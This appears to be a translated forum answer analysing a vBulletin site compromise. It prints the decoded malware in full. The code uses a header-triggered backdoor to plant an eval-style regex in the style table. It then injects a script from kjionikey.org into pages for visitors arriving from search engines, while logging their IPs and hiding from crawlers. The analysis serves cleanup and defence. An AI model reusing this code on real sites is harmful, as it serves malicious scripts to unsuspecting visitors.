A variable of type $_SERVER['HTTP_*'] can be set by adding headers to the HTTP request.
An example of a simple command line:
PHP page:
print_r($_SERVER);
Then at the command prompt:
curl --header "SOVIET: 123" localhost
You will see that $_SERVER['HTTP_SOVIET'] is 123 .
In this case, the contents of HTTP_SOVIET is encoded by base64 (give it back, it ends with == ). Unencoded, it turns into:
function iai() { global $db; $base = base64_decode('=='); $style = $GLOBALS['style']; if(!empty($style['styleid'])) { $a = $db->query_first('select styleid from '.TABLE_PREFIX.'style where styleid=\''.$style['styleid'].'\''); if($a['styleid']!='' and $a['replacements']=='') { $db->query_write('update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''); echo 'ok'; } else echo 'error'; } exit; } @iai();
It is worth noting that the request is there:
'update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''
Check the stylesheet as this is one of the ways / user access code.
Renaming a stylesheet to something else is more likely to mitigate the effects of this attack.
In this case, the base64 bit has more bas64, which has more bas64, which ultimately computes:
function HdtBiGTAr() { global $ip_x; $file_d = '/tmp/phpYRcCBmBr'; $ip_l = (string)ip2long($ip_x); if(file_exists($file_d) and @is_writable($file_d) and (($size_f = @filesize($file_d)) > 0)) { $data = file_get_contents($file_d); if($size_f > 1000000) file_put_contents($file_d,mt_rand(100,999).','); if(!stristr($data,$ip_l)) { file_put_contents($file_d,"$ip_l,",FILE_APPEND); } else return true; } } function KeHHdiXL($in) { global $vbulletin,$ip_x; $domain = 'kjionikey.org'; $find_me = 'vbulletin_menu.js?v=387"></script>'; $sec = 'SnBdhRAZRbGtr_'; $key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16); $url = mt_rand(100,999999).'.js?250568&'.$key; return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in; } function FzKuPfiAG() { $ip = ''; if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $arr = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']); if(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$arr['0'])) { $ip = $arr['0']; } } return (!empty($ip)) ? $ip : $_SERVER['REMOTE_ADDR']; } function Ap_hZD_() { if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|excite|lycos|myspace|alexa|doubleclick#i',$_SERVER['HTTP_REFERER'])) { if(preg_match('#msie|firefox|opera|chrome#i',$_SERVER['HTTP_USER_AGENT'])) return true; } } function oMYYOar() { global $ip_x; $ip_x = FzKuPfiAG(); $a = array('216.239.','209.85.','173.255.','173.194.','89.207.','74.125.','72.14.','66.249.','66.102.','64.233.'); foreach($a as $b) { if(preg_match("/^$b/i",$ip_x)) return true; } } if(!empty($_SERVER['HTTP_REFERER'])) { if(Ap_hZD_() and !oMYYOar() and !HdtBiGTAr()) { $newtext = KeHHdiXL($newtext); } } return $newtext;
This is written to a file called /tmp/phpYRcCBmBr , so I would see what that says.
It also hides this behavior from search engines, which is nice.
Bad bit for users, most likely:
function KeHHdiXL($in) { global $vbulletin,$ip_x; $domain = 'kjionikey.org'; $find_me = 'vbulletin_menu.js?v=387"></script>'; $sec = 'SnBdhRAZRbGtr_'; $key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16); $url = mt_rand(100,999999).'.js?250568&'.$key; return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in; }
Which puts JS on a page hosted at kjionikey.org . This JS requires a key based on the IP address.
I would check for any code that reads / executes the contents of the random variables $ _SERVER, but why it would be there, I don't know.